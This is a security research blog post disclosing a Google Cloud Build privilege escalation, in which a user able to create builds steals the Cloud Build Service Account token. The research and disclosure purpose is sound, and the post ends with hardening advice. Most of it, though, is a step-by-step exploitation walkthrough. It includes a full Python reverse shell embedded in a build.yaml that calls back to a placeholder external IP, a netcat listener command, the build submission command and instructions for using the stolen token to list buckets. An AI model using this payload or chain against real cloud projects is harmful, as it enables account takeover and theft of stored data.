Introduction (and Disclosure) of Cloud Build PrivEsc
We have previously released a lot of research around Identity & Access Management (IAM) privilege escalation in AWS (last post here). Very similar, this blog will focus on a feature of Google Cloud Platform (GCP) that might allow for IAM privilege escalation in certain scenarios. For those cloud folks unfamiliar with PrivEsc, this means that – with a certain CloudBuild permission – compromised GCP credentials may allow an attacker to access greater permissions than intended.
This privilege escalation abuses a feature of Cloud Build to gain access to the Cloud Build Service Account.
Cloud Build is a service that “lets you build software quickly across all languages. Get complete control over defining custom workflows for building, testing, and deploying across multiple environments such as VMs, serverless, Kubernetes, or Firebase”. You might use Cloud Build for a variety of reasons, but even if you don’t use it at all, you may still be vulnerable to this attack.
As standard practice here at Rhino Security Labs, we had disclosed this finding to Google Cloud, who responded that it was working as intended. The referred us to the permissions granted to the Cloud Build Service Account (outlined here) and suggested users would be aware of the escalation path.
CloudBuild Permissions and Attack Overview
The method to exploit this vulnerability uses Cloud Build directly and is rather simple. We can supply Python code to a build that will be executed during the build process. Once remote code execution is gained on the build server, we just need to locate and exfiltrate the access token for the Cloud Build Service Account, because Cloud Build uses that Service Account when running a build. The token is cached locally on the server we are gaining access to, and can be retrieved with a single command.
TLDR: A user with permissions to start a new build with Cloud Build can gain access to the Cloud Build Service Account and abuse it for more access to the environment.
Prerequisites and Impact
To exploit this as a user in GCP, we only need one IAM permission granted to the user in question:
At the time of writing, the Cloud Build Service Account is granted the following IAM permissions, which means we gain access to each of these when we compromise that Service Account. Note that these could be updated anytime and were actually updated during the research for this blog.
Even if we only had “cloudbuild.builds.create” to begin with, we would end up gaining quite a bit of access. This access would include additional read and write permissions to seven different GCP services (excluding Cloud Build itself). Most notably, we gain nearly-full access to Google Cloud Storage! We may also gain quite a lot of sensitive information by looking at any Source Repositories.
Exploitation of this privilege escalation is simple, but it can be a little finicky. This section is going to walk through how you would manually exploit it, but we also wrote a script to go along with it to make things easier.
Exploiting CloudBuild (Exploit Tool)
You can find the exploit script here on our GitHub. This script accepts GCP credentials and an HTTP(S) URL, and will exfiltrate the access token belonging to the Cloud Build Service Account to the URL supplied. If you don’t supply that URL, you must specify the IP and port of the current server and an HTTP server will automatically be launched to listen for the token to be received. Remember, you need the “cloudbuild.builds.create” permission for it to work.
To use the script, just run it with the compromised GCP credentials you gained access to and set up an HTTP(S) listener on a public-facing server (or use the built-in server on the current host). The token will be sent to that server in the body of a POST request.
Now that we have the token, we can begin making API calls as the Cloud Build Service account and hopefully find something juicy with these extra permissions!
Manual exploitation of this vulnerability is a little trickier. We will be using a Python reverse shell payload here, so you will need an external server to accept the incoming connection.
First, we will need to create a build.yaml file with the following contents:
steps: - name: 'python' entrypoint: 'python' args: - -c - import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP-ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
“IP-ADDRESS” and “PORT” should be replaced with the IP address and port of your external server, respectively. This build file tells Cloud Build that we want to run some Python code as part of the build process, meaning our code will run on the build server!
Next, make sure you have a listener setup on the port you specified before. I usually do this with Netcat, using the following command (replacing PORT with an open port):
nc -nlvp PORT
Once your server is listening and you’ve replaced the values in build.yaml, just run the following command from your terminal:
gcloud builds submit --config ./build.yaml .
Don’t forget the “.” at the end! This will submit a build to Cloud Build using our build.yaml file for the configuration and the current working directory for the code (which should only be the build.conf file).
After a short time, you should receive the reverse connection back to your external server as the root user on the Cloud Build server, as the following screenshot shows.
Next, from the reverse shell, we just need to read the contents of the following file and retrieve the token that belongs to the Cloud Build Service Account:
That’s it! Now we can copy that token and use it to abuse any of those permissions we listed above. We can even go ahead and verify the token to see what scopes have been granted to it with the OAuth tokeninfo endpoint (https://www.googleapis.com/oauth2/v3/tokeninfo?access_token=).
The info returned tells us a few interesting things, such as when it will expire, who the token belongs to, and the scopes it was granted when it was generated.
The email should always be “<Numeric Project ID>@cloudbuild.gserviceaccount.com”, which is the Cloud Build Service Account in your project. The scopes should always include the following:
Luckily we are granted “cloud-platform”! To use this token, we just need to lookup the API documentation for the endpoint we want to hit and we also need to make sure the action we’re trying to perform falls into the list of permissions granted to the Cloud Build Service Account.
As an example, we can list out the buckets the Service Account has access to by visiting the following URL (replacing ACCESS_TOKEN with the token you got above and THE_PROJECT_ID with the ID of the project the Cloud Build Service Account belongs to):
This will return a list of all the buckets that the Service Account has access to in that project, as the following screenshot shows.
Found something good? Check out the other APIs to see how to work with buckets or the objects in them. You could also try out GCPBucketBrute (Github here) to see if any buckets are publicly accessible outside of this Service Account.
Conclusion: GCP CloudBuild Hardening
To defend against this privilege escalation attack, it is necessary to restrict the permissions granted to the Cloud Build Service Account and to be careful granting the cloudbuild.builds.create permission to any users in your Organization. Most importantly, you need to know that any user who is granted cloudbuild.builds.create, is also indirectly granted all the permissions granted to the Cloud Build Service Account. If that’s alright with you, then you may not need to worry about this attack vector, but it is still highly recommended to modify the default permissions granted to the Cloud Build Service Account.